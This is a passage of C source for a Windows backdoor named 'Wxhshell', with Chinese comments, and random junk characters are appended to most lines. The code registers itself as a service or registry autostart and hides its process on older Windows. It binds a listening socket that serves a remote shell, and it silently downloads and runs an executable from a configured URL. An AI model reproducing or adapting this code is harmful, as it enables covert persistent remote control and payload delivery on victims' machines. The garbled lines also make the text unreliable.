ULONG InheritedFromUniqueProcessId; 9XX>A*
} PROCESS_BASIC_INFORMATION; K^zDNIQU
6 "U8V?E
PROCNTQSIP NtQueryInformationProcess; 9I`Y-D
*:_P8G;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q/ZkW
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vfcb:x
jij<yM8$g
HANDLE hProcess; ;
dd Q/
PROCESS_BASIC_INFORMATION pbi; @m~RtC-Q
?7jg(`Yh
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QK; T~
_k
if(NULL == hInst ) return 0; 0)|Q6*E>
w%dL8k
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PmR* }Aw
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /RT%0!
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p_{("zQ
O oSb>Y/4
if (!NtQueryInformationProcess) return 0; A5fwAB
Ue*C>F
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #eK=
if(!hProcess) return 0; cu&,J#r%
zP!J/}z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >O7~h[FN
*1{S*`|cJy
CloseHandle(hProcess); V-!"%fO.s
>^$2f&z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LO:fJ{ -
if(hProcess==NULL) return 0; \*0yaSQF
'Z&;uv,l
HMODULE hMod; e-5?p~>
char procName[255]; _q?<at}y
unsigned long cbNeeded; %UZVb V
^j )BKD-
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K93p"nHN
]"~51HQZ
CloseHandle(hProcess); X"q!Y#)
k~3.MU
if(strstr(procName,"services")) return 1; // 以服务启动 in-C/m#
Q;u SWt<{
return 0; // 注册表启动 B*1W`f
} nkDy!"K
Thr*^0$C
// 主模块 {g6Qv-
int StartWxhshell(LPSTR lpCmdLine) S/ [E8T"
{ *[+)7
SOCKET wsl; %Sk@GNI_
BOOL val=TRUE; v4Ga0]VN$8
int port=0; RthT\%R
struct sockaddr_in door; WO</Mw
LN2D
if(wscfg.ws_autoins) Install(); Oco YV J
=gh`JN6
port=atoi(lpCmdLine); N_Akmh0D
<spZ! #o
if(port<=0) port=wscfg.ws_port; w}R~C
,`A?!.K$
WSADATA data; "
=]
-%B
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QK`i%TXJ
P
u0uKE
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; LjB;;&VCn
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8Q{9>^
door.sin_family = AF_INET; !ZRs;UZ>o
door.sin_addr.s_addr = inet_addr("127.0.0.1"); o>/O++7R a
door.sin_port = htons(port); c`*TPqw(B[
,m=4@ofX
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (Y%Q|u
closesocket(wsl); qT:zEt5
return 1; \C^;k%{LV
} ra N)8w}-
q my%J
if(listen(wsl,2) == INVALID_SOCKET) { 1xE]6he4{T
closesocket(wsl); Mg,:UC:
return 1; +;}#B~:
} L I >(RMv
Wxhshell(wsl); )~6zYJ2
WSACleanup(); {nT^tAha
J?UQJ&!@O
return 0; )6KMHG
mo{MR:>)
} ._9
n~=!
R9rj/Co
// 以NT服务方式启动 jjM\. KL]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OS|> t./U
{ C[!MS5
DWORD status = 0; wCf~O'XLw
DWORD specificError = 0xfffffff; {O<l[|Ip
C:8_m1Y{
serviceStatus.dwServiceType = SERVICE_WIN32; :,b
iyJt
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^ci3F<?Q=
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1?*
serviceStatus.dwWin32ExitCode = 0; 0[?ny`Y
serviceStatus.dwServiceSpecificExitCode = 0; &UCsBqIY
serviceStatus.dwCheckPoint = 0; 4MuO1W-
serviceStatus.dwWaitHint = 0; 2Qp Hvsl_
E{^ XlY
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rm1A>1a:
if (hServiceStatusHandle==0) return; sVk$x:k1M
vDl- "!G1
status = GetLastError(); \#-W
<
if (status!=NO_ERROR) :0)3K7Q
{ {j5e9pg1L|
serviceStatus.dwCurrentState = SERVICE_STOPPED; cKb)VG^
serviceStatus.dwCheckPoint = 0; v:Tzv^
serviceStatus.dwWaitHint = 0; U7uKRv9
serviceStatus.dwWin32ExitCode = status; vx_o(wof
serviceStatus.dwServiceSpecificExitCode = specificError; +YLejjQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zA+~7;7E
return; )*; zW!H
} 'Jf^`ZT}
:1XtvH
serviceStatus.dwCurrentState = SERVICE_RUNNING; :l7U>~ o
serviceStatus.dwCheckPoint = 0; lv vs%@b>
serviceStatus.dwWaitHint = 0; rqPFU6
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7QKr_
} / N)W2
@' ;B_iQ
// 处理NT服务事件,比如:启动、停止 P&m\1W(
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7XKY]|S,'
{ b"!Q2S~
switch(fdwControl) "YdEE\
{ 8:BIbmtt5
case SERVICE_CONTROL_STOP: ?pgG,=?
serviceStatus.dwWin32ExitCode = 0; w.,Q1\*rPp
serviceStatus.dwCurrentState = SERVICE_STOPPED; Le<wR
serviceStatus.dwCheckPoint = 0; :1t~[-h^
serviceStatus.dwWaitHint = 0; 3d<HN6&U
{ L-B<nl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M?&h~V1OI~
} %sHF-n5P
return; E9?phD
case SERVICE_CONTROL_PAUSE: r]3'74j:
serviceStatus.dwCurrentState = SERVICE_PAUSED; JpsPNa
break; l]~n3IK"
case SERVICE_CONTROL_CONTINUE: "S3wk=?4
serviceStatus.dwCurrentState = SERVICE_RUNNING; V[-jD8='3
break; lEHzyh}2k
case SERVICE_CONTROL_INTERROGATE: :l|%17N
break; '47P|t
}; 3^s/bm$g
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
Bs?7:kN(
} 1]orUF&_
54
> -
// 标准应用程序主函数 7jnIv];i
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %dQxJMwj
{ L?5Ck<!xG
hx/N1x
// 获取操作系统版本 "4vy lHIo
OsIsNt=GetOsVer(); Dfq(Iv
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hwo$tVa:=
Y"OG@1V;8
// 从命令行安装 GA7}K:LP'k
if(strpbrk(lpCmdLine,"iI")) Install(); Y0D}g3`
ynA|}X
// 下载执行文件 h3dsd
if(wscfg.ws_downexe) { &WNf
M+
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DjSbyXvrg
WinExec(wscfg.ws_filenam,SW_HIDE); 'v]u#/7a
} lA>DS#_
f!O{%ev
if(!OsIsNt) { )(y)A[
// 如果时win9x,隐藏进程并且设置为注册表启动 \P1S|ufv
HideProc(); k)TSR5A
StartWxhshell(lpCmdLine); 7 ^w >Rj
} #j *d^j&
else PJ='tJDj
if(StartFromService()) 5/po2V9)
// 以服务方式启动 JH:0
L
StartServiceCtrlDispatcher(DispatchTable); !S&L*OH,
else Bz5-ITX
// 普通方式启动 kOh{l: 2-+
StartWxhshell(lpCmdLine); 5|jw^s7
35tu>^_#V
return 0; a{{g<<H
}